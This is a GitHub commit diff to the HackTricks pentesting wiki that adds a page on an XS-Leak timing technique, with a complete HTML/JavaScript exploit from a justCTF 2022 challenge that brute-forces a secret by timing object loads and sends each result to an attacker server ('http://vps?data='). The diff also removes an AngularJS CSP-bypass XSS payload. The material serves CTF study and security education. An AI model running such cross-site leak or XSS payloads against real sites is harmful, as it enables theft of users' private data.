Skip to content

Commit 40955b9

Browse files
carlospolopgitbook-bot
carlospolop
authored and
gitbook-bot
committed
GitBook: [#3730] No subject
1 parent 5878927 commit 40955b9

File tree

4 files changed

+140
-9
lines changed

4 files changed

+140
-9
lines changed

‎SUMMARY.md

+1
Original file line numberDiff line numberDiff line change
@@ -583,6 +583,7 @@
583583
* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)
584584
* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
585585
* [performance.now example](pentesting-web/xs-search/performance.now-example.md)
586+
* [performance.now + Force heavy task](pentesting-web/xs-search/performance.now-+-force-heavy-task.md)
586587
* [Event Loop Blocking + Lazy images](pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md)
587588
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
588589
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)

‎pentesting-web/content-security-policy-csp-bypass/README.md

-9
Original file line numberDiff line numberDiff line change
@@ -194,15 +194,6 @@ Load a vulnerable version of angular and execute arbitrary JS:
194194
195195
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
196196
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
197-
198-
199-
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
200-
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
201-
<iframe/ng-app/ng-csp/srcdoc="
202-
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
203-
</script>
204-
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
205-
>
206197
```
207198

208199
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

‎pentesting-web/xs-search.md

+8
Original file line numberDiff line numberDiff line change
@@ -119,6 +119,14 @@ In this case if `example.com/404` is not found `attacker.com/?error` will be loa
119119
[performance.now-example.md](xs-search/performance.now-example.md)
120120
{% endcontent-ref %}
121121

122+
#### Onload Timing + Forced Heavy Task
123+
124+
This technique is just like the previous one, but the **attacker** will also **force** some action to take a **relevant amount time** when the **answer is positive or negative** and measure that time.
125+
126+
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
127+
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
128+
{% endcontent-ref %}
129+
122130
### unload/beforeunload Timing
123131

124132
* **Inclusion Methods**: Frames

‎pentesting-web/xs-search/performance.now-+-force-heavy-task.md

+131
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
# performance.now + Force heavy task
2+
3+
<details>
4+
5+
<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
6+
7+
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
8+
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
9+
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
10+
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
11+
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
12+
13+
</details>
14+
15+
Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
16+
17+
In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not.
18+
19+
{% hint style="warning" %}
20+
Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time.
21+
{% endhint %}
22+
23+
```html
24+
<!DOCTYPE html>
25+
<html>
26+
<head>
27+
28+
</head>
29+
<body>
30+
<img src="https://deelay.me/30000/https://example.com">
31+
<script>
32+
fetch('https://deelay.me/30000/https://example.com')
33+
34+
function send(data) {
35+
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
36+
}
37+
38+
function leak(char, callback) {
39+
return new Promise(resolve => {
40+
let ss = 'just_random_string'
41+
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
42+
let start = performance.now()
43+
let object = document.createElement('object');
44+
object.width = '2000px'
45+
object.height = '2000px'
46+
object.data = url;
47+
object.onload = () => {
48+
object.remove()
49+
let end = performance.now()
50+
resolve(end - start)
51+
}
52+
object.onerror = () => console.log('Error event triggered');
53+
document.body.appendChild(object);
54+
})
55+
56+
}
57+
58+
send('start')
59+
60+
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
61+
let flag = 'justCTF{'
62+
63+
async function main() {
64+
let found = 0
65+
let notFound = 0
66+
for(let i=0;i<3;i++) {
67+
await leak('..')
68+
}
69+
for(let i=0; i<3; i++) {
70+
found += await leak('justCTF')
71+
}
72+
for(let i=0; i<3; i++) {
73+
notFound += await leak('NOT_FOUND123')
74+
}
75+
76+
found /= 3
77+
notFound /= 3
78+
79+
send('found flag:'+found)
80+
send('not found flag:'+notFound)
81+
82+
let threshold = found - ((found - notFound)/2)
83+
send('threshold:'+threshold)
84+
85+
if (notFound > found) {
86+
return
87+
}
88+
89+
// exploit
90+
while(true) {
91+
if (flag[flag.length - 1] === '}') {
92+
break
93+
}
94+
for(let char of charset) {
95+
let trying = flag + char
96+
let time = 0
97+
for(let i=0; i<3; i++) {
98+
time += await leak(trying)
99+
}
100+
time/=3
101+
send('char:'+trying+',time:'+time)
102+
if (time >= threshold) {
103+
flag += char
104+
send(flag)
105+
break
106+
}
107+
}
108+
}
109+
}
110+
111+
main()
112+
113+
</script>
114+
</body>
115+
116+
</html>
117+
```
118+
119+
120+
121+
<details>
122+
123+
<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
124+
125+
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
126+
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
127+
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
128+
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
129+
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
130+
131+
</details>

0 commit comments

Comments
 (0)